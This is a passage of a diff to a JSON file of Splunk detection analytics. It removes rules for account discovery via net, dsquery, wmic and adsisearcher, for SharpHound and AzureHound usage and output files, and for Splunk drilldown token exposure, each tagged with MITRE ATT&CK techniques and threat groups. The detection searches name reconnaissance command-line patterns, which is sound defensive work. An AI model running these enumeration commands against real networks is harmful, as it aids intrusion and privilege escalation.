"mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT3", - "APT41", - "Axiom", - "Deep Panda", - "Fox Kitten" - ] - } - ] - } } ], "external_reference": [ @@ -394567,3977 +278275,7 @@ "Event ID": null, "Event Name": "API monitoring" } - ], - { - "name": "Splunk Account Discovery Drilldown Dashboard Disclosure", - "description": "The following analytic identifies the presence of environment variables in Splunk dashboard drilldown URLs. It uses the REST API to query dashboards for specific patterns in the XML data. This activity is significant because it can expose sensitive tokens from privileged users if an attacker shares a malicious dashboard. If confirmed malicious, this could allow an attacker to detokenize variables and potentially gain unauthorized access to sensitive information or escalate privileges within the Splunk environment.", - "search": "| rest splunk_server=local /servicesNS/-/-/data/ui/views | search eai:data=\"*$env:*\" eai:data=\"*url*\" eai:data=\"*options*\" | rename author AS Author eai:acl.sharing AS Permissions eai:appName AS App eai:data AS \"Dashboard XML\" | fields Author Permissions App \"Dashboard XML\" | `splunk_account_discovery_drilldown_dashboard_disclosure_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "author", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential exposure of environment variables from url embedded in dashboard", - "risk_score": 40, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Account Discovery With Net App", - "description": "The following analytic detects potential account discovery activities using the 'net' command, commonly employed by malware like Trickbot for reconnaissance. It leverages Endpoint Detection and Response (EDR) data, focusing on specific command-line patterns and process relationships. This activity is significant as it often precedes further malicious actions, such as lateral movement or privilege escalation. If confirmed malicious, attackers could gain valuable information about user accounts, enabling them to escalate privileges or move laterally within the network, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` AND (Processes.process=\"* user *\" OR Processes.process=\"*config*\" OR Processes.process=\"*view /all*\") by Processes.process_name Processes.dest Processes.user Processes.parent_process_name | where count >=4 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `account_discovery_with_net_app_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Child Process" - ] - } - ], - "message": "Suspicious $process_name$ usage detected on endpoint $dest$ by user $user$.", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "AdsiSearcher Account Discovery", - "description": "The following analytic detects the use of the `[Adsisearcher]` type accelerator in PowerShell to query Active Directory for domain users. It leverages PowerShell Script Block Logging (EventCode=4104) to identify script blocks containing `[adsisearcher]`, `objectcategory=user`, and `.findAll()`. This activity is significant as it may indicate an attempt by adversaries or Red Teams to enumerate domain users for situational awareness and Active Directory discovery. If confirmed malicious, this could lead to further reconnaissance, privilege escalation, or lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*[adsisearcher]*\" ScriptBlockText = \"*objectcategory=user*\" ScriptBlockText = \"*.findAll()*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode Computer ScriptBlockText UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `adsisearcher_account_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A", - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell process having commandline \"AdsiSearcher\" used for user enumeration on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Detect AzureHound Command-Line Arguments", - "description": "The following analytic detects the execution of the `Invoke-AzureHound` command-line argument, commonly used by the AzureHound tool. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because AzureHound is often used for reconnaissance in Azure environments, potentially exposing sensitive information. If confirmed malicious, this activity could allow an attacker to map out Azure Active Directory structures, aiding in further attacks and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*invoke-azurehound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ using AzureHound to enumerate AzureAD.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect AzureHound File Modifications", - "description": "The following analytic detects the creation of specific AzureHound-related files, such as `*-azurecollection.zip` and various `.json` files, on disk. It leverages data from the Endpoint.Filesystem datamodel, focusing on file creation events with specific filenames. This activity is significant because AzureHound is a tool used to gather information about Azure environments, similar to SharpHound for on-premises Active Directory. If confirmed malicious, this activity could indicate an attacker is collecting sensitive Azure environment data, potentially leading to further exploitation or privilege escalation within the cloud infrastructure.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*-azurecollection.zip\", \"*-azprivroleadminrights.json\", \"*-azglobaladminrights.json\", \"*-azcloudappadmins.json\", \"*-azapplicationadmins.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to AzureHound, a AzureAD enumeration utility, has occurred on endpoint $dest$ by user $user$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Command-Line Arguments", - "description": "The following analytic detects the execution of SharpHound command-line arguments, specifically `-collectionMethod` and `invoke-bloodhound`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as SharpHound is commonly used for Active Directory enumeration, which can be a precursor to lateral movement or privilege escalation. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially compromising sensitive information and critical systems.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*-collectionMethod*\",\"*invoke-bloodhound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible SharpHound command-Line arguments identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound File Modifications", - "description": "The following analytic detects the creation of files typically associated with SharpHound, a reconnaissance tool used for gathering domain and trust data. It leverages file modification events from the Endpoint.Filesystem data model, focusing on default file naming patterns like `*_BloodHound.zip` and various JSON files. This activity is significant as it indicates potential domain enumeration, which is a precursor to more targeted attacks. If confirmed malicious, an attacker could gain detailed insights into the domain structure, facilitating lateral movement and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*bloodhound.zip\", \"*_computers.json\", \"*_gpos.json\", \"*_domains.json\", \"*_users.json\", \"*_groups.json\", \"*_ous.json\", \"*_containers.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user| `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound file modifications identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Usage", - "description": "The following analytic detects the usage of the SharpHound binary by identifying its original filename, `SharpHound.exe`, and the process name. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process metadata and command-line executions. SharpHound is a tool used for Active Directory enumeration, often by attackers during the reconnaissance phase. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially leading to privilege escalation and lateral movement within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=sharphound.exe OR Processes.original_file_name=SharpHound.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_usage_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound binary identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Domain Account Discovery with Dsquery", - "description": "The following analytic identifies the execution of `dsquery.exe` with command-line arguments used to discover domain users. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to map out domain users, which is a common precursor to further attacks. If confirmed malicious, this behavior could allow attackers to gain insights into user accounts, facilitating subsequent actions like privilege escalation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"dsquery.exe\" AND Processes.process = \"*user*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_account_discovery_with_dsquery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Domain Account Discovery With Net App", - "description": "The following analytic detects the execution of `net.exe` or `net1.exe` with command-line arguments used to query domain users. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it may indicate an attempt by adversaries to enumerate domain users for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could allow attackers to map out user accounts, potentially leading to further exploitation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` AND Processes.process = \"* user*\" AND Processes.process = \"*/do*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_account_discovery_with_net_app_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Graceful Wipe Out Attack", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Domain Account Discovery with Wmic", - "description": "The following analytic detects the execution of `wmic.exe` with command-line arguments used to query for domain users. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns indicative of domain account discovery. This activity is significant as it often precedes lateral movement or privilege escalation attempts by adversaries. If confirmed malicious, this behavior could allow attackers to map out user accounts within the domain, facilitating further attacks and potentially compromising sensitive information.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"wmic.exe\" AND Processes.process = \"*/NAMESPACE:\\\\\\\\root\\\\directory\\\\ldap*\" AND Processes.process = \"*ds_user*\" AND Processes.process = \"*GET*\" AND Processes.process = \"*ds_samaccountname*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_account_discovery_with_wmic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": 